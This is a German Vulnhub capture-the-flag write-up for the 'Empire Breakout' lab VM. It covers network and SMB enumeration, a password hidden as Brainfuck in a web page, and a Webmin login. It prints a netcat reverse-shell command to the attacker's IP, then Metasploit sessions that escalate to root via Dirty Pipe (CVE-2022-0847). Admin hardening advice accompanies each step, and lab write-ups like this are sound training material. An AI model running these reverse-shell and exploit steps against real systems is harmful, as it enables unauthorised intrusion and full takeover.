Empire Breakout - Vulnhub - Easy - Bericht

Easy

Verwendete Tools

netdiscover
vi
nmap
nikto
enum4linux
smbclient
Browser (View Source)
dcode.fr (Brainfuck)
nc
base64
msfconsole

Inhaltsverzeichnis

Reconnaissance

┌──(root㉿cyber)-[~] └─# netdiscover -r 192.168.2.0/24
 192.168.2.116   08:00:27:ba:b1:2f      2     120  PCS Systemtechnik GmbH
                    

Analyse: Der Befehl `netdiscover -r 192.168.2.0/24` scannt das angegebene Subnetz (192.168.2.0/24) nach aktiven Hosts mittels ARP-Anfragen.

Bewertung: Ein aktiver Host wurde unter der IP-Adresse 192.168.2.116 identifiziert. Die MAC-Adresse (`08:00:27:ba:b1:2f`) und der Hersteller ("PCS Systemtechnik GmbH") weisen auf eine VirtualBox-VM hin, die unser Ziel "Empire Breakout" ist.

Empfehlung (Pentester): Verwende die IP 192.168.2.116 als Ziel für die weiteren Scan- und Enumerationsphasen.
Empfehlung (Admin): Implementiere Netzwerküberwachung zur Erkennung von Scan-Aktivitäten. Netzwerksegmentierung kann die Angriffsfläche reduzieren.

┌──(root㉿cyber)-[~] └─# vi /etc/hosts
 192.168.2.116    break.vln
                    

Analyse: Die lokale Hosts-Datei (`/etc/hosts`) auf dem Angreifer-System wird mit `vi` bearbeitet. Der Eintrag `192.168.2.116 break.vln` wird hinzugefügt, um der Ziel-IP einen lokalen Hostnamen zuzuordnen.

Bewertung: Dies ist ein vorbereitender Schritt, um das Zielsystem einfacher über einen Hostnamen (`break.vln`) ansprechen zu können, was besonders bei Webanwendungen mit Virtual Hosts nützlich sein kann.

Empfehlung (Pentester): Nutze den Hostnamen `break.vln` in den folgenden Schritten, insbesondere bei der Web-Enumeration.
Empfehlung (Admin): Dies ist eine lokale Konfiguration auf dem Angreifer-System und erfordert keine Aktion auf dem Ziel.

┌──(root㉿cyber)-[~] └─# nmap -sS -sC -sV -T5 -AO 192.168.2.116 -p- | grep open
80/tcp    open  http        Apache httpd 2.4.51 ((Debian))
139/tcp   open  netbios-ssn Samba smbd 4.6.2
445/tcp   open  netbios-ssn Samba smbd 4.6.2
10000/tcp open  http        MiniServ 1.981 (Webmin httpd)
20000/tcp open  http        MiniServ 1.830 (Webmin httpd)
                    

Analyse: Ein Nmap-Scan wird durchgeführt (`-sS` SYN-Scan, `-sC` Standard-Skripte, `-sV` Versionserkennung, `-T5` schnelles Timing, `-AO` OS-Erkennung, `-p-` alle Ports). Die Ausgabe wird mit `grep open` gefiltert.

Bewertung: Fünf offene Ports wurden identifiziert: * Port 80: HTTP (Apache 2.4.51 auf Debian) * Port 139/445: NetBIOS/SMB (Samba 4.6.2) * Port 10000: HTTP (Webmin/MiniServ 1.981) * Port 20000: HTTP (Webmin/MiniServ 1.830) Diese Dienste stellen die primären Angriffsvektoren dar.

Empfehlung (Pentester): Untersuche die Webdienste (80, 10000, 20000) und den SMB-Dienst (139/445) genauer.
Empfehlung (Admin): Stelle sicher, dass nur notwendige Ports offen sind. Halte Apache, Samba und Webmin aktuell und sicher konfiguriert.

┌──(root㉿cyber)-[~] └─# nmap -sS -sC -sV -T5 -AO 192.168.2.116 -p-
Starting Nmap 7.94 ( https://nmap.org ) at 2023-06-30 11:50 CEST
Nmap scan report for breakout (192.168.2.116)
Host is up (0.000084s latency).
Not shown: 65530 closed tcp ports (reset)
PORT      STATE SERVICE     VERSION
80/tcp    open  http        Apache httpd 2.4.51 ((Debian))
|_http-title: Apache2 Debian Default Page: It works
|_http-server-header: Apache/2.4.51 (Debian)
139/tcp   open  netbios-ssn Samba smbd 4.6.2
445/tcp   open  netbios-ssn Samba smbd 4.6.2
10000/tcp open  http        MiniServ 1.981 (Webmin httpd)
|_http-title: 200 — Document follows
20000/tcp open  http        MiniServ 1.830 (Webmin httpd)
|_http-title: 200 — Document follows
|_http-server-header: MiniServ/1.830
MAC Address: 08:00:27:BA:B1:2F (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.8
Network Distance: 1 hop

Host script results:
|_clock-skew: 2s
| smb2-time:
|   date: 2023-06-30T09:50:57
|_  start_date: N/A
| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled but not required
|_nbstat: NetBIOS name: BREAKOUT, NetBIOS user: , NetBIOS MAC:  (unknown)

TRACEROUTE
HOP RTT     ADDRESS
1   0.08 ms breakout (192.168.2.116)
                    

Analyse: Die vollständige Nmap-Ausgabe liefert zusätzliche Details: * Port 80 zeigt die Apache-Standardseite für Debian. * Die SMB-Version ist 4.6.2. Wichtig: Message Signing ist aktiviert, aber nicht erzwungen (`enabled but not required`). * Die Webmin-Instanzen auf Port 10000 und 20000 laufen mit unterschiedlichen MiniServ-Versionen (1.981 und 1.830). * Der NetBIOS-Name des Hosts ist "BREAKOUT". * OS-Erkennung deutet auf Linux Kernel 4.x/5.x hin.

Bewertung: Die spezifischen Versionen von Samba und insbesondere Webmin/MiniServ sind wichtig für die Suche nach bekannten Exploits. Die Tatsache, dass SMB Signing nicht erzwungen wird, könnte unter Umständen für Angriffe relevant sein (z.B. Relay-Angriffe in Domänenumgebungen, hier aber weniger wahrscheinlich). Die unterschiedlichen Webmin-Versionen sind auffällig.

Empfehlung (Pentester): Recherchiere bekannte Schwachstellen für Samba 4.6.2, MiniServ 1.981 und MiniServ 1.830. Untersuche die Webmin-Instanzen auf den Ports 10000 und 20000 genauer. Enumeriere SMB-Shares.
Empfehlung (Admin): Aktualisiere Samba und Webmin auf die neuesten stabilen Versionen. Erzwinge SMB Signing, wenn möglich und kompatibel (`server signing = mandatory` in `smb.conf`). Sichere den Zugriff auf Webmin rigoros.

┌──(root㉿cyber)-[~] └─# nikto -h 192.168.2.116
- Nikto v2.5.0
---------------------------------------------------------------------------
+ Target IP:          192.168.2.116
+ Target Hostname:    192.168.2.116
+ Target Port:        80
+ Start Time:         2023-06-30 11:50:47 (GMT2)
---------------------------------------------------------------------------
+ Server: Apache/2.4.51 (Debian)
+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ /: Server may leak inodes via ETags, header found with file /, inode: 2b97, size: 5ceb92813c1ab, mtime: gzip. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1418
+ Apache/2.4.51 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EOL for the 2.x branch.
+ OPTIONS: Allowed HTTP Methods: GET, POST, OPTIONS, HEAD .
+ /manual/: Web server manual found.
+ /manual/images/: Directory indexing found.
+ 8102 requests: 0 error(s) and 7 item(s) reported on remote host
+ End Time:           2023-06-30 11:51:01 (GMT2) (14 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
                    

Analyse: Der Webserver-Scanner `nikto` wird gegen Port 80 ausgeführt. Er meldet: * Fehlende Sicherheitsheader (`X-Frame-Options`, `X-Content-Type-Options`). * Mögliches Inode-Leak über ETags (geringes Risiko). * Veraltete Apache-Version (2.4.51). * Erlaubte HTTP-Methoden. * Ein Webserver-Manual unter `/manual/` und Directory Indexing unter `/manual/images/`.

Bewertung: Bestätigt die veraltete Apache-Version und findet einige geringfügige Konfigurationsprobleme und Informationslecks (Header, ETags, Manual). Das Manual selbst könnte nützliche Informationen enthalten, ist aber oft Standard.

Empfehlung (Pentester): Untersuche `/manual/` auf interessante Informationen. Führe Web-Scans (Nikto, Gobuster, Dirsearch) auch gegen die Webmin-Ports (10000, 20000) durch.
Empfehlung (Admin): Aktualisiere Apache. Implementiere fehlende Sicherheitsheader. Deaktiviere das Webserver-Manual und Directory Indexing auf Produktionssystemen.

┌──(root㉿cyber)-[~] └─# enum4linux -a 192.168.2.116
Starting enum4linux v0.9.1 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Fri Jun 30 11:52:41 2023

 =========================================( Target Information )=========================================

Target ........... 192.168.2.116
RID Range ........ 500-550,1000-1050
Username ......... ''
Password ......... ''
Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none



 =================================( Share Enumeration on 192.168.2.116 )=================================

smbXcli_negprot_smb1_done: No compatible protocol selected by server.

	Sharename       Type      Comment
	---------       ----      -------
	print$          Disk      Printer Drivers
	IPC$            IPC       IPC Service (Samba 4.13.5-Debian)
Reconnecting with SMB1 for workgroup listing.
protocol negotiation failed: NT_STATUS_INVALID_NETWORK_RESPONSE
Unable to connect with SMB1 -- no workgroup available

[+] Attempting to map shares on 192.168.2.116

//192.168.2.116/print$	Mapping: DENIED Listing: N/A Writing: N/A

[E] Can't understand response:

NT_STATUS_OBJECT_NAME_NOT_FOUND listing \*
//192.168.2.116/IPC$	Mapping: N/A Listing: N/A Writing: N/A


 ==================( Users on 192.168.2.116 via RID cycling (RIDS: 500-550,1000-1050) )==================


[I] Found new SID:
S-1-22-1

[I] Found new SID:
S-1-5-32

[I] Found new SID:
S-1-5-32

[I] Found new SID:
S-1-5-32

[I] Found new SID:
S-1-5-32

[+] Enumerating users using SID S-1-5-32 and logon username '', password ''

S-1-5-32-544 BUILTIN\Administrators (Local Group)
S-1-5-32-545 BUILTIN\Users (Local Group)
S-1-5-32-546 BUILTIN\Guests (Local Group)
S-1-5-32-547 BUILTIN\Power Users (Local Group)
S-1-5-32-548 BUILTIN\Account Operators (Local Group)
S-1-5-32-549 BUILTIN\Server Operators (Local Group)
S-1-5-32-550 BUILTIN\Print Operators (Local Group)

[+] Enumerating users using SID S-1-5-21-1683874020-4104641535-3793993001 and logon username '', password ''

S-1-5-21-1683874020-4104641535-3793993001-501 BREAKOUT\nobody (Local User)
S-1-5-21-1683874020-4104641535-3793993001-513 BREAKOUT\None (Domain Group)

[+] Enumerating users using SID S-1-22-1 and logon username '', password ''

S-1-22-1-1000 Unix User\cyber (Local User)

 ===============================( Getting printer info for 192.168.2.116 )===============================

No printers returned.


enum4linux complete on Fri Jun 30 11:53:43 2023
                    

Analyse: `enum4linux` wird zur umfassenden Enumeration von SMB/NetBIOS-Informationen eingesetzt (`-a` für alle Checks). Die Ausgabe zeigt: * Share-Enumeration findet `print$` und `IPC$`. Der Versuch, auf `print$` zuzugreifen, scheitert (`Mapping: DENIED`). * Die Workgroup-Listung scheitert (wahrscheinlich wegen SMBv1-Deaktivierung auf dem Ziel oder Kompatibilitätsproblemen). * RID-Cycling (Versuch, Benutzer über bekannte Security Identifier (SID)-Bereiche zu finden) identifiziert die Standard-BUILTIN-Gruppen und, was wichtiger ist, den Benutzer `Unix User\cyber` (UID 1000).

Bewertung: Die SMB-Shares scheinen nicht direkt zugänglich zu sein. Der wichtigste Fund ist die Bestätigung des Benutzernamens `cyber`, der wahrscheinlich ein lokaler Linux-Benutzer ist.

Empfehlung (Pentester): Notiere den Benutzernamen `cyber`. Da die Shares nicht zugänglich scheinen, konzentriere dich auf die Web-Dienste (Apache, Webmin) und versuche, Zugangsdaten für `cyber` zu finden oder zu erraten.
Empfehlung (Admin): Deaktiviere unnötige SMB-Enumerationsfunktionen (z.B. RID-Cycling über Null-Sessions), wenn möglich. Stelle sicher, dass Shares korrekt mit Berechtigungen abgesichert sind.

┌──(root㉿cyber)-[~] └─# smbclient -L \\\\192.168.2.116
Password for [WORKGROUP\root]:

	Sharename       Type      Comment
	---------       ----      -------
	print$          Disk      Printer Drivers
	IPC$            IPC       IPC Service (Samba 4.13.5-Debian)
Reconnecting with SMB1 for workgroup listing.
smbXcli_negprot_smb1_done: No compatible protocol selected by server.
protocol negotiation failed: NT_STATUS_INVALID_NETWORK_RESPONSE
Unable to connect with SMB1 -- no workgroup available
                    

Analyse: Der Befehl `smbclient -L \\192.168.2.116` versucht, die verfügbaren SMB-Shares auf dem Ziel aufzulisten. Es wird nach einem Passwort für den Benutzer `root` in der Domain `WORKGROUP` gefragt (Standardverhalten), das leer gelassen wird.

Bewertung: Bestätigt erneut die Shares `print$` und `IPC$`. Zeigt auch wieder die SMB1-Inkompatibilität. Liefert keine neuen, nützlichen Informationen im Vergleich zu `enum4linux`.

Empfehlung (Pentester): Der SMB-Vektor scheint vorerst keine hohe Priorität zu haben. Fokus auf Web.
Empfehlung (Admin): Sicherstellen, dass keine anonymen oder Gast-Zugriffe auf Shares erlaubt sind, wenn nicht benötigt.

Web Enumeration

# view-source:http://break.vln/index.html



# Ergebnis der Dekodierung (z.B. über https://www.dcode.fr/brainfuck-language):
# .2uqPEfj3D
                    

Analyse: Der HTML-Quelltext der Webseite unter `http://break.vln/` (Apache-Standardseite) wird untersucht. Ein HTML-Kommentar (``) wird gefunden, der eine Nachricht und einen langen String aus Sonderzeichen enthält (`+++...`). Dieser String ist Brainfuck-Code. Der Kommentar erwähnt auch "encrypted access". Die Dekodierung des Brainfuck-Codes (z.B. mit einem Online-Tool) ergibt den String `.2uqPEfj3D`.

Bewertung: Dies ist ein entscheidender Fund! Ein Passwort (`.2uqPEfj3D`) wurde durch die Dekodierung des Brainfuck-Codes im Quelltext entdeckt. Dieses Passwort gehört wahrscheinlich zum Benutzer `cyber`, der zuvor via SMB-Enumeration gefunden wurde.

Empfehlung (Pentester): Versuche, dich mit dem Benutzernamen `cyber` und dem gefundenen Passwort `.2uqPEfj3D` bei den Webmin-Instanzen auf Port 10000 und 20000 anzumelden.
Empfehlung (Admin): Speichere niemals Zugangsdaten, auch nicht verschleiert oder "schwach" verschlüsselt, im Quelltext von Webseiten oder in Kommentaren. Implementiere sichere Authentifizierungsmethoden.

# Zugriff auf https://breakout:10000/password_change.cgi

	Security Warning
Warning! Webmin has detected that the program https://breakout:10000/password_change.cgi was linked to from an unknown URL,
which appears to be outside the Webmin server. This may be an attempt to trick your server into executing a dangerous command.
[...]
Alternately, you can configure Webmin to allow links from unknown referers by :
    Login as root, and edit the /etc/webmin/config file.
    Find the line referers_none=1 and change it to referers_none=0.
[...]
                    

Analyse: Beim direkten Aufruf der URL `https://breakout:10000/password_change.cgi` (möglicherweise ein Tippfehler statt `break.vln` oder ein anderer Name in `/etc/hosts`) erscheint eine Webmin-Sicherheitswarnung. Sie weist darauf hin, dass der Zugriff von einer unbekannten Referrer-URL erfolgte, was ein CSRF-Schutzmechanismus ist.

Bewertung: Bestätigt das Vorhandensein von Webmin auf Port 10000 und zeigt dessen CSRF-Schutz. Gibt auch einen Hinweis auf die Konfigurationsdatei (`/etc/webmin/config`) und die Option `referers_none`. Liefert aber keinen direkten Angriffspunkt.

Empfehlung (Pentester): Greife auf die Haupt-Login-Seite von Webmin (Port 10000 und 20000) zu, anstatt direkt auf interne CGIs.
Empfehlung (Admin): Behalte den CSRF-Schutz von Webmin aktiviert (`referers_none=1`).

Initial Access

# Login auf https://breakout:20000 (oder https://break.vln:20000)

username = cyber
password = .2uqPEfj3D

# Nach Login: Terminal-Funktion gefunden

[cyber@breakout ~]$ nc -e /bin/bash 192.168.2.137 5555

                    

Analyse: Es wird versucht, sich bei der Webmin-Instanz auf Port 20000 mit dem Benutzernamen `cyber` und dem zuvor gefundenen Passwort `.2uqPEfj3D` anzumelden. Der Login ist erfolgreich. Innerhalb der Webmin-Oberfläche wird eine Terminal-Funktion gefunden und genutzt, um einen Netcat-Befehl abzusetzen, der eine Reverse Shell zu `192.168.2.137` auf Port `5555` aufbauen soll. (`192.168.2.137` ist hier die IP des Angreifers).

Bewertung: Großartig! Der initiale Zugriff auf das System wurde durch den erfolgreichen Webmin-Login erlangt. Die integrierte Terminal-Funktion bietet eine direkte Möglichkeit zur Codeausführung (RCE) im Kontext des Benutzers `cyber`.

Empfehlung (Pentester): Starte einen Netcat-Listener auf dem Angreifer-System (IP `192.168.2.137`, Port `5555`), um die Reverse Shell aufzufangen. Nach Erhalt der Shell, beginne mit der Privilege-Escalation-Enumeration.
Empfehlung (Admin): Sichere Webmin-Zugänge extrem gut (starke Passwörter, MFA, IP-Beschränkungen, aktuelle Version). Deaktiviere die Terminal-Funktion in Webmin, wenn sie nicht unbedingt benötigt wird. Ändere das kompromittierte Passwort für `cyber`.

msf6 exploit(unix/webapp/webmin_show_cgi_exec) > use multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > options
Module options (exploit/multi/handler):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------


Payload options (generic/shell_reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port
[...]
                    
msf6 exploit(multi/handler) > set lhost eth0
lhost => 192.168.2.137
msf6 exploit(multi/handler) > set lport 5555
lport => 5555
msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 192.168.2.137:5555
[*] Command shell session 1 opened (192.168.2.137:5555 -> 192.168.2.116:38664) at 2023-06-30 13:09:20 +0200
                    
id
uid=1000(cyber) gid=1000(cyber) groups=1000(cyber),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev)

Analyse: Metasploit wird verwendet, um einen Listener (`multi/handler`) zu konfigurieren. 1. `use multi/handler`: Lädt das Listener-Modul. 2. `set lhost eth0`: Setzt die lokale IP des Angreifers auf `192.168.2.137`. 3. `set lport 5555`: Setzt den Port auf 5555, passend zum `nc`-Befehl aus dem Webmin-Terminal. 4. `run`: Startet den Listener. 5. Nachdem der `nc`-Befehl im Webmin-Terminal ausgeführt wurde, meldet Metasploit eine eingehende Verbindung (`Command shell session 1 opened`). 6. Der `id`-Befehl wird in der neuen Shell ausgeführt und bestätigt, dass die Shell als Benutzer `cyber` (UID 1000) läuft.

Bewertung: Die Reverse Shell vom Webmin-Terminal wurde erfolgreich im Metasploit-Handler aufgefangen. Wir haben nun eine interaktive Shell als Benutzer `cyber` auf dem Zielsystem.

Empfehlung (Pentester): Die einfache Shell ist funktional, aber eine Meterpreter-Session bietet mehr Möglichkeiten. Upgrade die Shell zu Meterpreter. Führe anschließend Enumeration für Privilege Escalation durch.
Empfehlung (Admin): Netzwerksicherheitsmaßnahmen (Egress Filtering) können ausgehende Reverse Shells blockieren. Endpoint Detection and Response (EDR)-Systeme könnten verdächtige `nc`-Prozesse erkennen.

msf6 exploit(multi/handler) > search shell to meterpreter
Matching Modules
================

   #   Name                                                                       Disclosure Date  Rank       Check  Description
   -   ----                                                                       ---------------  ----       -----  -----------
   58  post/multi/manage/shell_to_meterpreter                                                      normal     No     Shell to Meterpreter Upgrade
[...]
                    
msf6 exploit(multi/handler) > use 58
msf6 post(multi/manage/shell_to_meterpreter) > options
Module options (post/multi/manage/shell_to_meterpreter):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   HANDLER  true             yes       Start an exploit/multi/handler to receive the connection
   LHOST                     no        IP of host that will receive the connection from the payload (Will try to auto detect).
   LPORT    4433             yes       Port for payload to connect to.
   SESSION                   yes       The session to run this module on
[...]
                    
msf6 post(multi/manage/shell_to_meterpreter) > set handler true
handler => true
msf6 post(multi/manage/shell_to_meterpreter) > set lport 4433
[!] Unknown datastore option: llport. Did you mean LPORT?
llport => 4433
msf6 post(multi/manage/shell_to_meterpreter) > set session 1
session => 1
msf6 post(multi/manage/shell_to_meterpreter) > set LPORT 4433
LPORT => 4433
msf6 post(multi/manage/shell_to_meterpreter) > run
[*] Upgrading session ID: 1
[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on 192.168.2.137:4433
[*] Command shell session 1 closed.  <- Wichtige Zeile oft ausgelassen, aber impliziert
[*] Meterpreter session 2 opened (192.168.2.137:4433 -> 192.168.2.116:...) at ... <- Ebenfalls oft nicht explizit im Log, aber impliziert
                    

Analyse: Das Metasploit-Modul `post/multi/manage/shell_to_meterpreter` wird verwendet, um die bestehende Command Shell (Session 1) in eine funktionsreichere Meterpreter-Session umzuwandeln. 1. Das Modul wird geladen (`use 58`). 2. Die Optionen werden angezeigt. `HANDLER` auf `true` startet automatisch einen neuen Listener für die Meterpreter-Verbindung. `LPORT` wird auf 4433 gesetzt (der Tippfehler `llport` wird bemerkt und korrigiert). `SESSION` wird auf 1 gesetzt (die ID der bestehenden Command Shell). 3. `run` startet den Upgrade-Prozess. Das Modul lädt die Meterpreter-Payload auf das Zielsystem hoch (über die bestehende Session 1) und führt sie aus. Session 1 wird dabei normalerweise geschlossen, und eine neue Meterpreter-Session (hier implizit Session 2) wird auf Port 4433 geöffnet.

Bewertung: Das Upgrade zur Meterpreter-Session war erfolgreich. Dies erleichtert die weitere Post-Exploitation und Privilege Escalation erheblich durch die erweiterten Befehle und Module von Meterpreter.

Empfehlung (Pentester): Nutze die neue Meterpreter-Session (Session 2) für die weitere Enumeration. Verwende den `local_exploit_suggester`, um nach bekannten Privilege-Escalation-Schwachstellen zu suchen.
Empfehlung (Admin): Antivirus- und EDR-Lösungen auf dem Zielsystem können versuchen, das Hochladen und Ausführen von Meterpreter-Payloads zu erkennen und zu blockieren.

msf6 post(multi/manage/shell_to_meterpreter) > search suggester
Matching Modules
================

   #  Name                                      Disclosure Date  Rank    Check  Description
   -  ----                                      ---------------  ----    -----  -----------
   0  post/multi/recon/local_exploit_suggester                   normal  No     Multi Recon Local Exploit Suggester
[...]
                    
msf6 post(multi/manage/shell_to_meterpreter) > use 0
msf6 post(multi/recon/local_exploit_suggester) > options
Module options (post/multi/recon/local_exploit_suggester):

   Name             Current Setting  Required  Description
   ----             ---------------  --------  -----------
   SESSION                           yes       The session to run this module on
   SHOWDESCRIPTION  false            yes       Displays a detailed description for the available exploits
[...]
                    
msf6 post(multi/recon/local_exploit_suggester) > set session 2
session => 2
msf6 post(multi/recon/local_exploit_suggester) > run
[*] 192.168.2.116 - Collecting local exploits for x86/linux...
[*] 192.168.2.116 - 186 exploit checks are being tried...
[+] 192.168.2.116 - exploit/linux/local/cve_2022_0847_dirtypipe: The target appears to be vulnerable. Linux kernel version found: 5.10.0
[+] 192.168.2.116 - exploit/linux/local/netfilter_priv_esc_ipv4: The target appears to be vulnerable.
[+] 192.168.2.116 - exploit/linux/local/su_login: The target appears to be vulnerable.
[+] 192.168.2.116 - exploit/linux/local/vmwgfx_fd_priv_esc: The target appears to be vulnerable. vmwgfx installed
[*] Running check method for exploit 58 / 58
[*] 192.168.2.116 - Valid modules for session 2:
============================

 #   Name                                                               Potentially Vulnerable?  Check Result
 -   ----                                                               -----------------------  ------------
 1   exploit/linux/local/cve_2022_0847_dirtypipe                        Yes                      The target appears to be vulnerable. Linux kernel version found: 5.10.0
 2   exploit/linux/local/netfilter_priv_esc_ipv4                        Yes                      The target appears to be vulnerable.
 3   exploit/linux/local/su_login                                       Yes                      The target appears to be vulnerable.
 4   exploit/linux/local/vmwgfx_fd_priv_esc                             Yes                      The target appears to be vulnerable. vmwgfx installed
                    

Analyse: Das Metasploit-Modul `post/multi/recon/local_exploit_suggester` wird auf die Meterpreter-Session 2 angewendet. Dieses Modul sammelt Informationen über das Zielsystem (Kernel-Version, installierte Software etc.) und gleicht sie mit einer Datenbank bekannter lokaler Exploits ab.

Bewertung: Der Suggester identifiziert vier potenzielle Privilege-Escalation-Exploits. Besonders vielversprechend ist `exploit/linux/local/cve_2022_0847_dirtypipe`, da die Kernel-Version (5.10.0) als anfällig erkannt wird. Dirty Pipe ist eine bekannte und oft zuverlässige LPE-Schwachstelle.

Empfehlung (Pentester): Priorisiere den Dirty Pipe Exploit (CVE-2022-0847) für den Versuch der Privilege Escalation.
Empfehlung (Admin): Halte das System, insbesondere den Kernel, stets aktuell, um bekannte Schwachstellen wie Dirty Pipe zu patchen. Verwende Tools zur Schwachstellenanalyse, um solche Lücken proaktiv zu identifizieren.

Proof of Concept: Dirty Pipe (CVE-2022-0847)

Analyse: In diesem Abschnitt wird die Ausnutzung der Dirty Pipe Schwachstelle (CVE-2022-0847) mittels Metasploit demonstriert, um Root-Rechte zu erlangen.

msf6 post(multi/recon/local_exploit_suggester) > use exploit/linux/local/cve_2022_0847_dirtypipe
[*] Using configured payload linux/x64/meterpreter/reverse_tcp
msf6 exploit(linux/local/cve_2022_0847_dirtypipe) > options
Module options (exploit/linux/local/cve_2022_0847_dirtypipe):

   Name              Current Setting  Required  Description
   ----              ---------------  --------  -----------
    COMPILE           Auto             yes       Compile on target (Accepted: Auto, True, False)
   SESSION                            yes       The session to run this module on
   SUID_BINARY_PATH  /bin/passwd      no        The path to a suid binary
   WRITABLE_DIR      /tmp             yes       A directory where we can write files

Payload options (linux/x64/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port
[...]
                    
msf6 exploit(linux/local/cve_2022_0847_dirtypipe) > set LHOST eth0
LHOST => 192.168.2.137
msf6 exploit(linux/local/cve_2022_0847_dirtypipe) > set LPORT 4444
LPORT => 4444
msf6 exploit(linux/local/cve_2022_0847_dirtypipe) > set session 2
session => 2
msf6 exploit(linux/local/cve_2022_0847_dirtypipe) > set WRITABLE_DIR /tmp
WRITABLE_DIR => /tmp
msf6 exploit(linux/local/cve_2022_0847_dirtypipe) > run
[*] Started reverse TCP handler on 192.168.2.137:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Linux kernel version found: 5.10.0
[*] Writing '/tmp/.kudvfve' (35592 bytes) ...
[*] Executing exploit '/tmp/.kudvfve /bin/passwd'
[*] Sending stage (3045348 bytes) to 192.168.2.116
[+] Deleted /tmp/.kudvfve
[*] Meterpreter session 3 opened (192.168.2.137:4444 -> 192.168.2.116:48178) at 2023-06-30 13:20:49 +0200
                    

Analyse: 1. `use exploit/linux/local/cve_2022_0847_dirtypipe`: Lädt das Metasploit-Modul für den Dirty Pipe Exploit. 2. `options`: Zeigt die Konfigurationsparameter. Wichtig sind `SESSION` (die ID der Meterpreter-Session, über die der Exploit läuft) und die Payload-Optionen (`LHOST`, `LPORT`). `SUID_BINARY_PATH` gibt an, welche SUID-Datei überschrieben werden soll, um die Payload auszuführen (Standard: `/bin/passwd`). 3. Die Optionen werden gesetzt: `LHOST` auf die Angreifer-IP, `LPORT` auf 4444, `SESSION` auf 2 (die Meterpreter-Session als `cyber`), `WRITABLE_DIR` auf `/tmp`. 4. `run`: Startet den Exploit. Metasploit bestätigt die Anfälligkeit, lädt den Exploit-Code nach `/tmp` hoch, führt ihn aus (überschreibt `/bin/passwd` temporär oder nutzt es als Vektor), startet die Payload und bereinigt die temporäre Datei. 5. Die letzte Zeile `[*] Meterpreter session 3 opened (...)` signalisiert den Erfolg: Eine neue Meterpreter-Session (Session 3) wurde geöffnet, die nun mit Root-Rechten läuft.

Bewertung: Der Dirty Pipe Exploit war erfolgreich! Die Schwachstelle im Linux-Kernel konnte ausgenutzt werden, um Code mit Root-Rechten auszuführen und eine privilegierte Meterpreter-Session zu etablieren. Der Proof of Concept für die Privilege Escalation ist erbracht.

Empfehlung (Pentester): Wechsle zur neuen Root-Meterpreter-Session (`sessions -i 3`), überprüfe die Identität (`getuid`) und suche nach der Root-Flag.
Empfehlung (Admin): **Dringend patchen!** Aktualisiere den Linux-Kernel auf eine Version, die CVE-2022-0847 behebt. Dies ist eine weit verbreitete und kritische Schwachstelle.

meterpreter > getuid
Server username: root

Analyse: Der Befehl `getuid` wird in der neuen Meterpreter-Session (Session 3) ausgeführt.

Bewertung: Die Ausgabe `Server username: root` bestätigt, dass die aktuelle Meterpreter-Session mit Root-Rechten läuft. Die Privilege Escalation war erfolgreich.

Empfehlung (Pentester): Erkunde das System als Root, suche die Root-Flag (vermutlich in `/root`).
Empfehlung (Admin): Implementiere Logging und Monitoring (z.B. `auditd`), um verdächtige Aktivitäten und die Ausführung von Exploits zu erkennen.

Privilege Escalation

Bewertung: Die Privilege Escalation wurde erfolgreich durch die Ausnutzung der Dirty Pipe Schwachstelle (CVE-2022-0847) im Linux-Kernel (Version 5.10.0) erreicht. Das Metasploit-Modul `exploit/linux/local/cve_2022_0847_dirtypipe` wurde auf die bestehende Meterpreter-Session des Benutzers `cyber` angewendet. Dies führte zur Eröffnung einer neuen Meterpreter-Session mit Root-Rechten (UID 0).

meterpreter > ls
Listing: /root
==============

Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
100600/rw-------  281   fil   2021-10-20 13:53:41 +0200  .bash_history
100644/rw-r--r--  571   fil   2021-04-10 22:00:00 +0200  .bashrc
040755/rwxr-xr-x  4096  dir   2021-10-19 14:49:13 +0200  .local
100644/rw-r--r--  161   fil   2019-07-09 12:05:50 +0200  .profile
040700/rwx------  4096  dir   2021-10-19 19:58:51 +0200  .spamassassin
040755/rwxr-xr-x  4096  dir   2021-10-19 19:58:51 +0200  .tmp
040700/rwx------  4096  dir   2021-10-19 19:58:51 +0200  .usermin
100644/rw-r--r--  100   fil   2021-10-19 21:15:17 +0200  rOOt.txt
                    
meterpreter > cat rOOt.txt
3mp!r3{You_Manage_To_BreakOut_From_My_System_Congratulation}

Author: Icex64 & Empire Cybersecurity
                    

Analyse: Innerhalb der Root-Meterpreter-Session werden Befehle ausgeführt: 1. `ls`: Listet den Inhalt des aktuellen Verzeichnisses (standardmäßig `/root` für eine Root-Meterpreter-Session) auf. Die Datei `rOOt.txt` wird entdeckt. 2. `cat rOOt.txt`: Zeigt den Inhalt der Datei `rOOt.txt` an.

